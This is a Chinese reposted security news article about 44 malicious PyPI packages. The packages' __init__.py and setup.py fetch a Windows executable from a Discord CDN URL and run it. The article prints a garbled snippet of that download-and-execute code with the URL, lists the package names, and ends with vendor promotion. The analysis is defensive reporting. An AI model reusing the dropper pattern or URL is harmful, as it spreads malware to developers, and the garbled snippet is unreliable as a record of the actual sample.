PyPI 在恶意 Python 脚本攻击后暂停新注册

admin
admin
admin
138161
文章
113
评论
2023年6月20日14:42:21评论29 views字数 2935阅读9分47秒阅读模式
PyPI 在恶意 Python 脚本攻击后暂停新注册
Python 包的官方存储库 PyPI 最近宣布暂停新用户和新项目注册。此公告可能与一次有趣的攻击有关，该攻击展示了看似无害的 Python 脚本如何隐藏可能危及用户系统的恶意负载。攻击者可以诱使用户认为他们正在安装合法的 Python 包，而实际上，他们正在从远程服务器下载并执行任意可执行文件。
这只是在开源代码中发现的一系列恶意软件包中的最新一个，这些恶意软件包为开发人员制造了漏洞。最近在 VScode 中发现的恶意扩展有超过 45,000 次下载，可能会暴露 PII 并启用后门。
这种攻击具体说明了在运行任何 Python 脚本之前验证其来源和内容的重要性，以及在未经检查的情况下信任第三方代码的潜在危险。此外，这种攻击并不是孤立的案例，因为它已经在 PyPI 上的 44 个不同的包中被发现。
为了帮助您最好地识别恶意包，我们提供了以下运行在所有 44 个包中的详细信息：
__init__.py 文件：
此 Python 脚本导入一些模块，然后从 Discord URL 下载可执行文件。然后它将文件保存到一个临时位置并使用子进程运行它。这意味着该脚本可以在未经您同意的情况下在您的计算机上执行任意代码。
此代码具有潜在危险，除非您信任 URL 和可执行文件的来源，否则不应运行，因为它是可能损害您的系统或窃取您的数据的恶意软件或病毒。使用像 Virus Total 这样的工具来验证它是否是恶意的很重要。

PyPI 在恶意 Python 脚本攻击后暂停新注册


PyPI 在恶意 Python 脚本攻击后暂停新注册

设置.py 文件：
此代码是一个 Python 脚本，它使用 setuptools 来描述和分发 Python 包。它提供有关包的元数据，例如包的名称、版本、描述、作者、电子邮件、关键字和分类器，并且它没有依赖项。
但是，此代码最后还包含恶意部分。它导入一些模块，然后从 Discord URL 下载可执行文件。然后它将文件保存到临时位置并使用子进程运行它。这意味着该脚本可以在未经您同意的情况下在您的计算机上执行任意代码。如上段所示，init.py 文件还执行了从 Discord 下载并运行文件的恶意操作。
两种攻击都使用相同的代码并且很危险。同样，使用工具来验证它是否是恶意的，以避免对您的系统造成伤害或暴露敏感数据。

PyPI 在恶意 Python 脚本攻击后暂停新注册


PyPI 在恶意 Python 脚本攻击后暂停新注册

base64代码：

` import os
if os.exceptions “”list” exit(0)
import requests
interface url= ‘https://cdn.discordapp.com/accounts/1109465188433936425/Windows.exe’
response = requests.get(url)
with temporfile.NamedText(delete=Commonly)
subprocess.call([exe_content])`

有关 44 PyPi Packages that followed the same pattern:

1) sys-selenium@9.1.9
2) sys-scikit-learn@17.8.18
3) sqlalchemy-requests@7.1.1
4) sqlalchemy-os@14.0.10
5) sqlalchemy-install@10.9.4
6) selenium-matplotlib@17.9.4
7) scikit-learn-matplotlib@6.12.17
8) requests-pandas@3.10.17
9) requests-flask@16.9.16
10) req-os@20.5.17
11) req-matplotlib@11.2.18
12) req-flask@2.9.4
13) pyyaml-selenium@1.15.3
14) pytorch-pandas@14.19.3
15) pytest-pandas@16.6.6
16) pytorch-pygame@0.6.19
17) crypto-pygame@10.14.7
18) pylint-sys@8.15.6
19) pylint-py@15.0.3
20) pylint-beautifulsoup@17.10.12
21) pylint-beautifulsoup@3.12.3
22) pygame-pytorch@3.4.19
23) pygame-Print@15.0.6
24) pygame-install@17.14.20
25) Print-requests@13.18.4
26) Print-pip@13.9.3
27) Print-django@3.9.10
28) matplotlib-sqlalchemy@16.18.4
29) pandas-numpy@8.19.3
30) os-numpy@3.19.4
31) opencv-keras@17.10.13
32) numpy-selenium@5.20.19
33) matplotlib-requests@16.12.4
34) matplotlib-req@17.6.16
35) matplotlib-flask@7.15.10
36) keras-beautifulsoup@2.9.2
37) keras-arg@19.14.9
38) install-pyyaml@1.19.12
39) install-pytest@1.12.7
40) install-crypto@4.18.5
41) django-pyyaml@20.17.15
42) beautifulsoup-scikit-learn@2.4.9
43) beautifulsoup-requests@12.15.13
44) beautifulsoup-numpy@10.13.10
同一作者 DreamyOakXTimmywag 上传了 44 个包含此攻击的具有唯一名称的包。它们都出现在 5 月 20 日星期六，并在同一天被 CloudGuard Spectral 检测到。
如您所见，PyPi 无法免受可能危及您的 Python 项目和系统的供应链攻击。这些攻击很难检测和预防，尤其是当您依赖可能包含恶意代码的第三方包时。这就是为什么您需要像CloudGuard Spectral这样的工具来扫描您的包裹并提醒您潜在威胁的原因。它快速可靠 — 帮助您保护 Python 代码并保护自己免受黑客攻击。
CloudGuard Spectral 可作为独立解决方案或作为 CloudGuard CNAPP 的组件提供。
Spectral 的秘密扫描工具通过识别和修复漏洞来保护 IAM 框架，让您高枕无忧，因为您的代码、资产和基础设施受到保护，免受恶意行为者的攻击。
CloudGuard CNAPP提供了一个完全集成的开发人员解决方案，可简化从代码到云的云安全操作。使用 CNAPP，您将拥有一个统一的平台，该平台不仅可以识别整个管道中的安全问题，还可以提供深入的见解和上下文。这使您能够了解有效的 IAM 权限和特权，并确定整个云基础架构中风险的优先级。


原文地址：https://blog.checkpoint.com/security/pypi-suspends-new-registrations-after-malicious-python-script-attack/



感谢您抽出

PyPI 在恶意 Python 脚本攻击后暂停新注册

.

PyPI 在恶意 Python 脚本攻击后暂停新注册

.

PyPI 在恶意 Python 脚本攻击后暂停新注册

来阅读本文

PyPI 在恶意 Python 脚本攻击后暂停新注册

点它，分享点赞在看都在这里

原文始发于微信公众号（Ots安全）：PyPI 在恶意 Python 脚本攻击后暂停新注册

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月20日14:42:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   PyPI 在恶意 Python 脚本攻击后暂停新注册https://cn-sec.com/archives/1820403.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息